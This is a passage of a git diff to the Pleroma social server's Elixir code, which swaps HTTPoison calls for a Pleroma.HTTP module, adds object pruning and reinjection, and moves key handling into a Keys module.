	\|> Object.change(%{data: tombstone})
	\|> Repo.update()
	end

	def delete(%Object{data: %{"id" => id}} = object) do
	with {:ok, _obj} = swap_object_with_tombstone(object),
	deleted_activity = Activity.delete_by_ap_id(id),
	{:ok, true} <- Cachex.del(:object_cache, "object:#{id}") do
	{:ok, object, deleted_activity}
	end
	end

	+ def prune(%Object{data: %{"id" => id}} = object) do
	+ with {:ok, object} <- Repo.delete(object),
	+ {:ok, true} <- Cachex.del(:object_cache, "object:#{id}") do
	+ {:ok, object}
	+ end
	+ end
	+
	def set_cache(%Object{data: %{"id" => ap_id}} = object) do
	Cachex.put(:object_cache, "object:#{ap_id}", object)
	{:ok, object}
	end

	def update_and_set_cache(changeset) do
	with {:ok, object} <- Repo.update(changeset) do
	set_cache(object)
	else
	e -> e
	end
	end

	def increase_replies_count(ap_id) do
	Object
	\|> where([o], fragment("?->>'id' = ?::text", o.data, ^to_string(ap_id)))
	\|> update([o],
	set: [
	data:
	fragment(
	"""
	jsonb_set(?, '{repliesCount}',
	(coalesce((?->>'repliesCount')::int, 0) + 1)::varchar::jsonb, true)
	""",
	o.data,
	o.data
	)
	]
	)
	\|> Repo.update_all([])
	\|> case do
	{1, [object]} -> set_cache(object)
	_ -> {:error, "Not found"}
	end
	end

	def decrease_replies_count(ap_id) do
	Object
	\|> where([o], fragment("?->>'id' = ?::text", o.data, ^to_string(ap_id)))
	\|> update([o],
	set: [
	data:
	fragment(
	"""
	jsonb_set(?, '{repliesCount}',
	(greatest(0, (?->>'repliesCount')::int - 1))::varchar::jsonb, true)
	""",
	o.data,
	o.data
	)
	]
	)
	\|> Repo.update_all([])
	\|> case do
	{1, [object]} -> set_cache(object)
	_ -> {:error, "Not found"}
	end
	end
	end
	diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex
	index 8d4bcc95e..ca980c629 100644
	--- a/lib/pleroma/object/fetcher.ex
	+++ b/lib/pleroma/object/fetcher.ex
	@@ -1,75 +1,92 @@
	defmodule Pleroma.Object.Fetcher do
	+ alias Pleroma.HTTP
	alias Pleroma.Object
	alias Pleroma.Object.Containment
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.OStatus

	require Logger

	- @httpoison Application.get_env(:pleroma, :httpoison)
	+ defp reinject_object(data) do
	+ Logger.debug("Reinjecting object #{data["id"]}")
	+
	+ with data <- Transmogrifier.fix_object(data),
	+ {:ok, object} <- Object.create(data) do
	+ {:ok, object}
	+ else
	+ e ->
	+ Logger.error("Error while processing object: #{inspect(e)}")
	+ {:error, e}
	+ end
	+ end

	# TODO:
	# This will create a Create activity, which we need internally at the moment.
	def fetch_object_from_id(id) do
	if object = Object.get_cached_by_ap_id(id) do
	{:ok, object}
	else
	Logger.info("Fetching #{id} via AP")

	with {:ok, data} <- fetch_and_contain_remote_object_from_id(id),
	nil <- Object.normalize(data, false),
	params <- %{
	"type" => "Create",
	"to" => data["to"],
	"cc" => data["cc"],
	"actor" => data["actor"] \|\| data["attributedTo"],
	"object" => data
	},
	:ok <- Containment.contain_origin(id, params),
	- {:ok, activity} <- Transmogrifier.handle_incoming(params) do
	- {:ok, Object.normalize(activity, false)}
	+ {:ok, activity} <- Transmogrifier.handle_incoming(params),
	+ {:object, _data, %Object{} = object} <-
	+ {:object, data, Object.normalize(activity, false)} do
	+ {:ok, object}
	else
	{:error, {:reject, nil}} ->
	{:reject, nil}

	+ {:object, data, nil} ->
	+ reinject_object(data)
	+
	object = %Object{} ->
	{:ok, object}

	_e ->
	Logger.info("Couldn't get object via AP, trying out OStatus fetching...")

	case OStatus.fetch_activity_from_url(id) do
	{:ok, [activity \| _]} -> {:ok, Object.normalize(activity, false)}
	e -> e
	end
	end
	end
	end

	def fetch_object_from_id!(id) do
	with {:ok, object} <- fetch_object_from_id(id) do
	object
	else
	_e ->
	nil
	end
	end

	def fetch_and_contain_remote_object_from_id(id) do
	Logger.info("Fetching object #{id} via AP")

	with true <- String.starts_with?(id, "http"),
	{:ok, %{body: body, status: code}} when code in 200..299 <-
	- @httpoison.get(
	+ HTTP.get(
	id,
	[{:Accept, "application/activity+json"}]
	),
	{:ok, data} <- Jason.decode(body),
	:ok <- Containment.contain_origin_from_id(id, data) do
	{:ok, data}
	else
	e ->
	{:error, e}
	end
	end
	end
	diff --git a/lib/pleroma/reverse_proxy.ex b/lib/pleroma/reverse_proxy.ex
	index a3f177fec..6e5feb4c3 100644
	--- a/lib/pleroma/reverse_proxy.ex
	+++ b/lib/pleroma/reverse_proxy.ex
	@@ -1,381 +1,382 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ReverseProxy do
	+ alias Pleroma.HTTP
	+
	@keep_req_headers ~w(accept user-agent accept-encoding cache-control if-modified-since) ++
	~w(if-unmodified-since if-none-match if-range range)
	@resp_cache_headers ~w(etag date last-modified cache-control)
	@keep_resp_headers @resp_cache_headers ++
	~w(content-type content-disposition content-encoding content-range) ++
	~w(accept-ranges vary)
	@default_cache_control_header "public, max-age=1209600"
	@valid_resp_codes [200, 206, 304]
	@max_read_duration :timer.seconds(30)
	@max_body_length :infinity
	@methods ~w(GET HEAD)

	@moduledoc """
	A reverse proxy.

	Pleroma.ReverseProxy.call(conn, url, options)

	It is not meant to be added into a plug pipeline, but to be called from another plug or controller.

	Supports `#{inspect(@methods)}` HTTP methods, and only allows `#{inspect(@valid_resp_codes)}` status codes.

	Responses are chunked to the client while downloading from the upstream.

	Some request / responses headers are preserved:

	* request: `#{inspect(@keep_req_headers)}`
	* response: `#{inspect(@keep_resp_headers)}`

	If no caching headers (`#{inspect(@resp_cache_headers)}`) are returned by upstream, `cache-control` will be
	set to `#{inspect(@default_cache_control_header)}`.

	Options:

	* `redirect_on_failure` (default `false`). Redirects the client to the real remote URL if there's any HTTP
	errors. Any error during body processing will not be redirected as the response is chunked. This may expose
	remote URL, clients IPs, ….

	* `max_body_length` (default `#{inspect(@max_body_length)}`): limits the content length to be approximately the
	specified length. It is validated with the `content-length` header and also verified when proxying.

	* `max_read_duration` (default `#{inspect(@max_read_duration)}` ms): the total time the connection is allowed to
	read from the remote upstream.

	* `inline_content_types`:
	* `true` will not alter `content-disposition` (up to the upstream),
	* `false` will add `content-disposition: attachment` to any request,
	* a list of whitelisted content types

	* `keep_user_agent` will forward the client's user-agent to the upstream. This may be useful if the upstream is
	doing content transformation (encoding, …) depending on the request.

	* `req_headers`, `resp_headers` additional headers.

	* `http`: options for [hackney](https://github.com/benoitc/hackney).

	"""
	@hackney Application.get_env(:pleroma, :hackney, :hackney)
	- @httpoison Application.get_env(:pleroma, :httpoison, HTTPoison)

	@default_hackney_options []

	@inline_content_types [
	"image/gif",
	"image/jpeg",
	"image/jpg",
	"image/png",
	"image/svg+xml",
	"audio/mpeg",
	"audio/mp3",
	"video/webm",
	"video/mp4",
	"video/quicktime"
	]

	require Logger
	import Plug.Conn

	@type option() ::
	{:keep_user_agent, boolean}
	\| {:max_read_duration, :timer.time() \| :infinity}
	\| {:max_body_length, non_neg_integer() \| :infinity}
	\| {:http, []}
	\| {:req_headers, [{String.t(), String.t()}]}
	\| {:resp_headers, [{String.t(), String.t()}]}
	\| {:inline_content_types, boolean() \| [String.t()]}
	\| {:redirect_on_failure, boolean()}

	@spec call(Plug.Conn.t(), url :: String.t(), [option()]) :: Plug.Conn.t()
	def call(_conn, _url, _opts \\ [])

	def call(conn = %{method: method}, url, opts) when method in @methods do
	hackney_opts =
	@default_hackney_options
	\|> Keyword.merge(Keyword.get(opts, :http, []))
	- \|> @httpoison.process_request_options()
	+ \|> HTTP.process_request_options()

	req_headers = build_req_headers(conn.req_headers, opts)

	opts =
	if filename = Pleroma.Web.MediaProxy.filename(url) do
	Keyword.put_new(opts, :attachment_name, filename)
	else
	opts
	end

	with {:ok, code, headers, client} <- request(method, url, req_headers, hackney_opts),
	:ok <- header_length_constraint(headers, Keyword.get(opts, :max_body_length)) do
	response(conn, client, url, code, headers, opts)
	else
	{:ok, code, headers} ->
	head_response(conn, url, code, headers, opts)
	\|> halt()

	{:error, {:invalid_http_response, code}} ->
	Logger.error("#{__MODULE__}: request to #{inspect(url)} failed with HTTP status #{code}")

	conn
	\|> error_or_redirect(
	url,
	code,
	"Request failed: " <> Plug.Conn.Status.reason_phrase(code),
	opts
	)
	\|> halt()

	{:error, error} ->
	Logger.error("#{__MODULE__}: request to #{inspect(url)} failed: #{inspect(error)}")

	conn
	\|> error_or_redirect(url, 500, "Request failed", opts)
	\|> halt()
	end
	end

	def call(conn, _, _) do
	conn
	\|> send_resp(400, Plug.Conn.Status.reason_phrase(400))
	\|> halt()
	end

	defp request(method, url, headers, hackney_opts) do
	Logger.debug("#{__MODULE__} #{method} #{url} #{inspect(headers)}")
	method = method \|> String.downcase() \|> String.to_existing_atom()

	case @hackney.request(method, url, headers, "", hackney_opts) do
	{:ok, code, headers, client} when code in @valid_resp_codes ->
	{:ok, code, downcase_headers(headers), client}

	{:ok, code, headers} when code in @valid_resp_codes ->
	{:ok, code, downcase_headers(headers)}

	{:ok, code, _, _} ->
	{:error, {:invalid_http_response, code}}

	{:error, error} ->
	{:error, error}
	end
	end

	defp response(conn, client, url, status, headers, opts) do
	result =
	conn
	\|> put_resp_headers(build_resp_headers(headers, opts))
	\|> send_chunked(status)
	\|> chunk_reply(client, opts)

	case result do
	{:ok, conn} ->
	halt(conn)

	{:error, :closed, conn} ->
	:hackney.close(client)
	halt(conn)

	{:error, error, conn} ->
	Logger.warn(
	"#{__MODULE__} request to #{url} failed while reading/chunking: #{inspect(error)}"
	)

	:hackney.close(client)
	halt(conn)
	end
	end

	defp chunk_reply(conn, client, opts) do
	chunk_reply(conn, client, opts, 0, 0)
	end

	defp chunk_reply(conn, client, opts, sent_so_far, duration) do
	with {:ok, duration} <-
	check_read_duration(
	duration,
	Keyword.get(opts, :max_read_duration, @max_read_duration)
	),
	{:ok, data} <- @hackney.stream_body(client),
	{:ok, duration} <- increase_read_duration(duration),
	sent_so_far = sent_so_far + byte_size(data),
	:ok <- body_size_constraint(sent_so_far, Keyword.get(opts, :max_body_size)),
	{:ok, conn} <- chunk(conn, data) do
	chunk_reply(conn, client, opts, sent_so_far, duration)
	else
	:done -> {:ok, conn}
	{:error, error} -> {:error, error, conn}
	end
	end

	defp head_response(conn, _url, code, headers, opts) do
	conn
	\|> put_resp_headers(build_resp_headers(headers, opts))
	\|> send_resp(code, "")
	end

	defp error_or_redirect(conn, url, code, body, opts) do
	if Keyword.get(opts, :redirect_on_failure, false) do
	conn
	\|> Phoenix.Controller.redirect(external: url)
	\|> halt()
	else
	conn
	\|> send_resp(code, body)
	\|> halt
	end
	end

	defp downcase_headers(headers) do
	Enum.map(headers, fn {k, v} ->
	{String.downcase(k), v}
	end)
	end

	defp get_content_type(headers) do
	{_, content_type} =
	List.keyfind(headers, "content-type", 0, {"content-type", "application/octet-stream"})

	[content_type \| _] = String.split(content_type, ";")
	content_type
	end

	defp put_resp_headers(conn, headers) do
	Enum.reduce(headers, conn, fn {k, v}, conn ->
	put_resp_header(conn, k, v)
	end)
	end

	defp build_req_headers(headers, opts) do
	headers
	\|> downcase_headers()
	\|> Enum.filter(fn {k, _} -> k in @keep_req_headers end)
	\|> (fn headers ->
	headers = headers ++ Keyword.get(opts, :req_headers, [])

	if Keyword.get(opts, :keep_user_agent, false) do
	List.keystore(
	headers,
	"user-agent",
	0,
	{"user-agent", Pleroma.Application.user_agent()}
	)
	else
	headers
	end
	end).()
	end

	defp build_resp_headers(headers, opts) do
	headers
	\|> Enum.filter(fn {k, _} -> k in @keep_resp_headers end)
	\|> build_resp_cache_headers(opts)
	\|> build_resp_content_disposition_header(opts)
	\|> (fn headers -> headers ++ Keyword.get(opts, :resp_headers, []) end).()
	end

	defp build_resp_cache_headers(headers, _opts) do
	has_cache? = Enum.any?(headers, fn {k, _} -> k in @resp_cache_headers end)
	has_cache_control? = List.keymember?(headers, "cache-control", 0)

	cond do
	has_cache? && has_cache_control? ->
	headers

	has_cache? ->
	# There's caching header present but no cache-control -- we need to explicitely override it
	# to public as Plug defaults to "max-age=0, private, must-revalidate"
	List.keystore(headers, "cache-control", 0, {"cache-control", "public"})

	true ->
	List.keystore(
	headers,
	"cache-control",
	0,
	{"cache-control", @default_cache_control_header}
	)
	end
	end

	defp build_resp_content_disposition_header(headers, opts) do
	opt = Keyword.get(opts, :inline_content_types, @inline_content_types)

	content_type = get_content_type(headers)

	attachment? =
	cond do
	is_list(opt) && !Enum.member?(opt, content_type) -> true
	opt == false -> true
	true -> false
	end

	if attachment? do
	name =
	try do
	{{"content-disposition", content_disposition_string}, _} =
	List.keytake(headers, "content-disposition", 0)

	[name \| _] =
	Regex.run(
	~r/filename="((?:[^"\\]\|\\.)*)"/u,
	content_disposition_string \|\| "",
	capture: :all_but_first
	)

	name
	rescue
	MatchError -> Keyword.get(opts, :attachment_name, "attachment")
	end

	disposition = "attachment; filename=\"#{name}\""

	List.keystore(headers, "content-disposition", 0, {"content-disposition", disposition})
	else
	headers
	end
	end

	defp header_length_constraint(headers, limit) when is_integer(limit) and limit > 0 do
	with {_, size} <- List.keyfind(headers, "content-length", 0),
	{size, _} <- Integer.parse(size),
	true <- size <= limit do
	:ok
	else
	false ->
	{:error, :body_too_large}

	_ ->
	:ok
	end
	end

	defp header_length_constraint(_, _), do: :ok

	defp body_size_constraint(size, limit) when is_integer(limit) and limit > 0 and size >= limit do
	{:error, :body_too_large}
	end

	defp body_size_constraint(_, _), do: :ok

	defp check_read_duration(duration, max)
	when is_integer(duration) and is_integer(max) and max > 0 do
	if duration > max do
	{:error, :read_duration_exceeded}
	else
	{:ok, {duration, :erlang.system_time(:millisecond)}}
	end
	end

	defp check_read_duration(_, _), do: {:ok, :no_duration_limit, :no_duration_limit}

	defp increase_read_duration({previous_duration, started})
	when is_integer(previous_duration) and is_integer(started) do
	duration = :erlang.system_time(:millisecond) - started
	{:ok, previous_duration + duration}
	end

	defp increase_read_duration(_) do
	{:ok, :no_duration_limit, :no_duration_limit}
	end
	end
	diff --git a/lib/pleroma/signature.ex b/lib/pleroma/signature.ex
	index b7ecf00a0..1a4d54c62 100644
	--- a/lib/pleroma/signature.ex
	+++ b/lib/pleroma/signature.ex
	@@ -1,41 +1,40 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Signature do
	@behaviour HTTPSignatures.Adapter

	+ alias Pleroma.Keys
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Utils
	- alias Pleroma.Web.Salmon
	- alias Pleroma.Web.WebFinger

	def fetch_public_key(conn) do
	with actor_id <- Utils.get_ap_id(conn.params["actor"]),
	{:ok, public_key} <- User.get_public_key_for_ap_id(actor_id) do
	{:ok, public_key}
	else
	e ->
	{:error, e}
	end
	end

	def refetch_public_key(conn) do
	with actor_id <- Utils.get_ap_id(conn.params["actor"]),
	{:ok, _user} <- ActivityPub.make_user_from_ap_id(actor_id),
	{:ok, public_key} <- User.get_public_key_for_ap_id(actor_id) do
	{:ok, public_key}
	else
	e ->
	{:error, e}
	end
	end

	def sign(%User{} = user, headers) do
	- with {:ok, %{info: %{keys: keys}}} <- WebFinger.ensure_keys_present(user),
	- {:ok, private_key, _} <- Salmon.keys_from_pem(keys) do
	+ with {:ok, %{info: %{keys: keys}}} <- User.ensure_keys_present(user),
	+ {:ok, private_key, _} <- Keys.keys_from_pem(keys) do
	HTTPSignatures.sign(private_key, user.ap_id <> "#main-key", headers)
	end
	end
	end
	diff --git a/lib/pleroma/uploaders/mdii.ex b/lib/pleroma/uploaders/mdii.ex
	index 190ed9f3a..237544337 100644
	--- a/lib/pleroma/uploaders/mdii.ex
	+++ b/lib/pleroma/uploaders/mdii.ex
	@@ -1,36 +1,35 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Uploaders.MDII do
	alias Pleroma.Config
	+ alias Pleroma.HTTP

	@behaviour Pleroma.Uploaders.Uploader

	- @httpoison Application.get_env(:pleroma, :httpoison)
	-
	# MDII-hosted images are never passed through the MediaPlug; only local media.
	# Delegate to Pleroma.Uploaders.Local
	def get_file(file) do
	Pleroma.Uploaders.Local.get_file(file)
	end

	def put_file(upload) do
	cgi = Config.get([Pleroma.Uploaders.MDII, :cgi])
	files = Config.get([Pleroma.Uploaders.MDII, :files])

	{:ok, file_data} = File.read(upload.tempfile)

	extension = String.split(upload.name, ".") \|> List.last()
	query = "#{cgi}?#{extension}"

	with {:ok, %{status: 200, body: body}} <-
	- @httpoison.post(query, file_data, [], adapter: [pool: :default]) do
	+ HTTP.post(query, file_data, [], adapter: [pool: :default]) do
	remote_file_name = String.split(body) \|> List.first()
	public_url = "#{files}/#{remote_file_name}.#{extension}"
	{:ok, {:url, public_url}}
	else
	_ -> Pleroma.Uploaders.Local.put_file(upload)
	end
	end
	end
	diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex
	index 05fe58f7c..653dec95f 100644
	--- a/lib/pleroma/user.ex
	+++ b/lib/pleroma/user.ex
	@@ -1,1425 +1,1446 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.User do
	use Ecto.Schema

	import Ecto.Changeset
	import Ecto.Query

	alias Comeonin.Pbkdf2
	alias Pleroma.Activity
	+ alias Pleroma.Keys
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Registration
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.CommonAPI.Utils, as: CommonUtils
	alias Pleroma.Web.OAuth
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.RelMe
	alias Pleroma.Web.Websub

	require Logger

	@type t :: %__MODULE__{}

	@primary_key {:id, Pleroma.FlakeId, autogenerate: true}

	# credo:disable-for-next-line Credo.Check.Readability.MaxLineLength
	@email_regex ~r/^[a-zA-Z0-9.!#$%&'+\/=?^_`{\|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)$/

	@strict_local_nickname_regex ~r/^[a-zA-Z\d]+$/
	@extended_local_nickname_regex ~r/^[a-zA-Z\d_-]+$/

	schema "users" do
	field(:bio, :string)
	field(:email, :string)
	field(:name, :string)
	field(:nickname, :string)
	field(:password_hash, :string)
	field(:password, :string, virtual: true)
	field(:password_confirmation, :string, virtual: true)
	field(:following, {:array, :string}, default: [])
	field(:ap_id, :string)
	field(:avatar, :map)
	field(:local, :boolean, default: true)
	field(:follower_address, :string)
	field(:search_rank, :float, virtual: true)
	field(:search_type, :integer, virtual: true)
	field(:tags, {:array, :string}, default: [])
	field(:last_refreshed_at, :naive_datetime_usec)
	has_many(:notifications, Notification)
	has_many(:registrations, Registration)
	embeds_one(:info, User.Info)

	timestamps()
	end

	def auth_active?(%User{info: %User.Info{confirmation_pending: true}}),
	do: !Pleroma.Config.get([:instance, :account_activation_required])

	def auth_active?(%User{}), do: true

	def visible_for?(user, for_user \\ nil)

	def visible_for?(%User{id: user_id}, %User{id: for_id}) when user_id == for_id, do: true

	def visible_for?(%User{} = user, for_user) do
	auth_active?(user) \|\| superuser?(for_user)
	end

	def visible_for?(_, _), do: false

	def superuser?(%User{local: true, info: %User.Info{is_admin: true}}), do: true
	def superuser?(%User{local: true, info: %User.Info{is_moderator: true}}), do: true
	def superuser?(_), do: false

	def avatar_url(user, options \\ []) do
	case user.avatar do
	%{"url" => [%{"href" => href} \| _]} -> href
	_ -> !options[:no_default] && "#{Web.base_url()}/images/avi.png"
	end
	end

	def banner_url(user, options \\ []) do
	case user.info.banner do
	%{"url" => [%{"href" => href} \| _]} -> href
	_ -> !options[:no_default] && "#{Web.base_url()}/images/banner.png"
	end
	end

	def profile_url(%User{info: %{source_data: %{"url" => url}}}), do: url
	def profile_url(%User{ap_id: ap_id}), do: ap_id
	def profile_url(_), do: nil

	def ap_id(%User{nickname: nickname}) do
	"#{Web.base_url()}/users/#{nickname}"
	end

	def ap_followers(%User{follower_address: fa}) when is_binary(fa), do: fa
	def ap_followers(%User{} = user), do: "#{ap_id(user)}/followers"

	def user_info(%User{} = user) do
	%{
	following_count: following_count(user),
	note_count: user.info.note_count,
	follower_count: user.info.follower_count,
	locked: user.info.locked,
	confirmation_pending: user.info.confirmation_pending,
	default_scope: user.info.default_scope
	}
	end

	def restrict_deactivated(query) do
	from(u in query,
	where: not fragment("? \\? 'deactivated' AND ?->'deactivated' @> 'true'", u.info, u.info)
	)
	end

	def following_count(%User{following: []}), do: 0

	def following_count(%User{} = user) do
	user
	\|> get_friends_query()
	\|> Repo.aggregate(:count, :id)
	end

	def remote_user_creation(params) do
	params =
	params
	\|> Map.put(:info, params[:info] \|\| %{})

	info_cng = User.Info.remote_user_creation(%User.Info{}, params[:info])

	changes =
	%User{}
	\|> cast(params, [:bio, :name, :ap_id, :nickname, :avatar])
	\|> validate_required([:name, :ap_id])
	\|> unique_constraint(:nickname)
	\|> validate_format(:nickname, @email_regex)
	\|> validate_length(:bio, max: 5000)
	\|> validate_length(:name, max: 100)
	\|> put_change(:local, false)
	\|> put_embed(:info, info_cng)

	if changes.valid? do
	case info_cng.changes[:source_data] do
	%{"followers" => followers} ->
	changes
	\|> put_change(:follower_address, followers)

	_ ->
	followers = User.ap_followers(%User{nickname: changes.changes[:nickname]})

	changes
	\|> put_change(:follower_address, followers)
	end
	else
	changes
	end
	end

	def update_changeset(struct, params \\ %{}) do
	struct
	\|> cast(params, [:bio, :name, :avatar, :following])
	\|> unique_constraint(:nickname)
	\|> validate_format(:nickname, local_nickname_regex())
	\|> validate_length(:bio, max: 5000)
	\|> validate_length(:name, min: 1, max: 100)
	end

	def upgrade_changeset(struct, params \\ %{}) do
	params =
	params
	\|> Map.put(:last_refreshed_at, NaiveDateTime.utc_now())

	info_cng =
	struct.info
	\|> User.Info.user_upgrade(params[:info])

	struct
	\|> cast(params, [:bio, :name, :follower_address, :avatar, :last_refreshed_at])
	\|> unique_constraint(:nickname)
	\|> validate_format(:nickname, local_nickname_regex())
	\|> validate_length(:bio, max: 5000)
	\|> validate_length(:name, max: 100)
	\|> put_embed(:info, info_cng)
	end

	def password_update_changeset(struct, params) do
	changeset =
	struct
	\|> cast(params, [:password, :password_confirmation])
	\|> validate_required([:password, :password_confirmation])
	\|> validate_confirmation(:password)

	OAuth.Token.delete_user_tokens(struct)
	OAuth.Authorization.delete_user_authorizations(struct)

	if changeset.valid? do
	hashed = Pbkdf2.hashpwsalt(changeset.changes[:password])

	changeset
	\|> put_change(:password_hash, hashed)
	else
	changeset
	end
	end

	def reset_password(user, data) do
	update_and_set_cache(password_update_changeset(user, data))
	end

	def register_changeset(struct, params \\ %{}, opts \\ []) do
	need_confirmation? =
	if is_nil(opts[:need_confirmation]) do
	Pleroma.Config.get([:instance, :account_activation_required])
	else
	opts[:need_confirmation]
	end

	info_change =
	User.Info.confirmation_changeset(%User.Info{}, need_confirmation: need_confirmation?)

	changeset =
	struct
	\|> cast(params, [:bio, :email, :name, :nickname, :password, :password_confirmation])
	\|> validate_required([:name, :nickname, :password, :password_confirmation])
	\|> validate_confirmation(:password)
	\|> unique_constraint(:email)
	\|> unique_constraint(:nickname)
	\|> validate_exclusion(:nickname, Pleroma.Config.get([User, :restricted_nicknames]))
	\|> validate_format(:nickname, local_nickname_regex())
	\|> validate_format(:email, @email_regex)
	\|> validate_length(:bio, max: 1000)
	\|> validate_length(:name, min: 1, max: 100)
	\|> put_change(:info, info_change)

	changeset =
	if opts[:external] do
	changeset
	else
	validate_required(changeset, [:email])
	end

	if changeset.valid? do
	hashed = Pbkdf2.hashpwsalt(changeset.changes[:password])
	ap_id = User.ap_id(%User{nickname: changeset.changes[:nickname]})
	followers = User.ap_followers(%User{nickname: changeset.changes[:nickname]})

	changeset
	\|> put_change(:password_hash, hashed)
	\|> put_change(:ap_id, ap_id)
	\|> unique_constraint(:ap_id)
	\|> put_change(:following, [followers])
	\|> put_change(:follower_address, followers)
	else
	changeset
	end
	end

	defp autofollow_users(user) do
	candidates = Pleroma.Config.get([:instance, :autofollowed_nicknames])

	autofollowed_users =
	User.Query.build(%{nickname: candidates, local: true, deactivated: false})
	\|> Repo.all()

	follow_all(user, autofollowed_users)
	end

	@doc "Inserts provided changeset, performs post-registration actions (confirmation email sending etc.)"
	def register(%Ecto.Changeset{} = changeset) do
	with {:ok, user} <- Repo.insert(changeset),
	{:ok, user} <- autofollow_users(user),
	{:ok, user} <- set_cache(user),
	{:ok, _} <- User.WelcomeMessage.post_welcome_message_to_user(user),
	{:ok, _} <- try_send_confirmation_email(user) do
	{:ok, user}
	end
	end

	def try_send_confirmation_email(%User{} = user) do
	if user.info.confirmation_pending &&
	Pleroma.Config.get([:instance, :account_activation_required]) do
	user
	\|> Pleroma.Emails.UserEmail.account_confirmation_email()
	\|> Pleroma.Emails.Mailer.deliver_async()

	{:ok, :enqueued}
	else
	{:ok, :noop}
	end
	end

	def needs_update?(%User{local: true}), do: false

	def needs_update?(%User{local: false, last_refreshed_at: nil}), do: true

	def needs_update?(%User{local: false} = user) do
	NaiveDateTime.diff(NaiveDateTime.utc_now(), user.last_refreshed_at) >= 86_400
	end

	def needs_update?(_), do: true

	def maybe_direct_follow(%User{} = follower, %User{local: true, info: %{locked: true}}) do
	{:ok, follower}
	end

	def maybe_direct_follow(%User{} = follower, %User{local: true} = followed) do
	follow(follower, followed)
	end

	def maybe_direct_follow(%User{} = follower, %User{} = followed) do
	if not User.ap_enabled?(followed) do
	follow(follower, followed)
	else
	{:ok, follower}
	end
	end

	def maybe_follow(%User{} = follower, %User{info: _info} = followed) do
	if not following?(follower, followed) do
	follow(follower, followed)
	else
	{:ok, follower}
	end
	end

	@doc "A mass follow for local users. Respects blocks in both directions but does not create activities."
	@spec follow_all(User.t(), list(User.t())) :: {atom(), User.t()}
	def follow_all(follower, followeds) do
	followed_addresses =
	followeds
	\|> Enum.reject(fn followed -> blocks?(follower, followed) \|\| blocks?(followed, follower) end)
	\|> Enum.map(fn %{follower_address: fa} -> fa end)

	q =
	from(u in User,
	where: u.id == ^follower.id,
	update: [
	set: [
	following:
	fragment(
	"array(select distinct unnest (array_cat(?, ?)))",
	u.following,
	^followed_addresses
	)
	]
	],
	select: u
	)

	{1, [follower]} = Repo.update_all(q, [])

	Enum.each(followeds, fn followed ->
	update_follower_count(followed)
	end)

	set_cache(follower)
	end

	def follow(%User{} = follower, %User{info: info} = followed) do
	user_config = Application.get_env(:pleroma, :user)
	deny_follow_blocked = Keyword.get(user_config, :deny_follow_blocked)

	ap_followers = followed.follower_address

	cond do
	following?(follower, followed) or info.deactivated ->
	{:error, "Could not follow user: #{followed.nickname} is already on your list."}

	deny_follow_blocked and blocks?(followed, follower) ->
	{:error, "Could not follow user: #{followed.nickname} blocked you."}

	true ->
	if !followed.local && follower.local && !ap_enabled?(followed) do
	Websub.subscribe(follower, followed)
	end

	q =
	from(u in User,
	where: u.id == ^follower.id,
	update: [push: [following: ^ap_followers]],
	select: u
	)

	{1, [follower]} = Repo.update_all(q, [])

	{:ok, _} = update_follower_count(followed)

	set_cache(follower)
	end
	end

	def unfollow(%User{} = follower, %User{} = followed) do
	ap_followers = followed.follower_address

	if following?(follower, followed) and follower.ap_id != followed.ap_id do
	q =
	from(u in User,
	where: u.id == ^follower.id,
	update: [pull: [following: ^ap_followers]],
	select: u
	)

	{1, [follower]} = Repo.update_all(q, [])

	{:ok, followed} = update_follower_count(followed)

	set_cache(follower)

	{:ok, follower, Utils.fetch_latest_follow(follower, followed)}
	else
	{:error, "Not subscribed!"}
	end
	end

	@spec following?(User.t(), User.t()) :: boolean
	def following?(%User{} = follower, %User{} = followed) do
	Enum.member?(follower.following, followed.follower_address)
	end

	def locked?(%User{} = user) do
	user.info.locked \|\| false
	end

	def get_by_id(id) do
	Repo.get_by(User, id: id)
	end

	def get_by_ap_id(ap_id) do
	Repo.get_by(User, ap_id: ap_id)
	end

	# This is mostly an SPC migration fix. This guesses the user nickname by taking the last part
	# of the ap_id and the domain and tries to get that user
	def get_by_guessed_nickname(ap_id) do
	domain = URI.parse(ap_id).host
	name = List.last(String.split(ap_id, "/"))
	nickname = "#{name}@#{domain}"

	get_cached_by_nickname(nickname)
	end

	def set_cache({:ok, user}), do: set_cache(user)
	def set_cache({:error, err}), do: {:error, err}

	def set_cache(%User{} = user) do
	Cachex.put(:user_cache, "ap_id:#{user.ap_id}", user)
	Cachex.put(:user_cache, "nickname:#{user.nickname}", user)
	Cachex.put(:user_cache, "user_info:#{user.id}", user_info(user))
	{:ok, user}
	end

	def update_and_set_cache(changeset) do
	with {:ok, user} <- Repo.update(changeset) do
	set_cache(user)
	else
	e -> e
	end
	end

	def invalidate_cache(user) do
	Cachex.del(:user_cache, "ap_id:#{user.ap_id}")
	Cachex.del(:user_cache, "nickname:#{user.nickname}")
	Cachex.del(:user_cache, "user_info:#{user.id}")
	end

	def get_cached_by_ap_id(ap_id) do
	key = "ap_id:#{ap_id}"
	Cachex.fetch!(:user_cache, key, fn _ -> get_by_ap_id(ap_id) end)
	end

	def get_cached_by_id(id) do
	key = "id:#{id}"

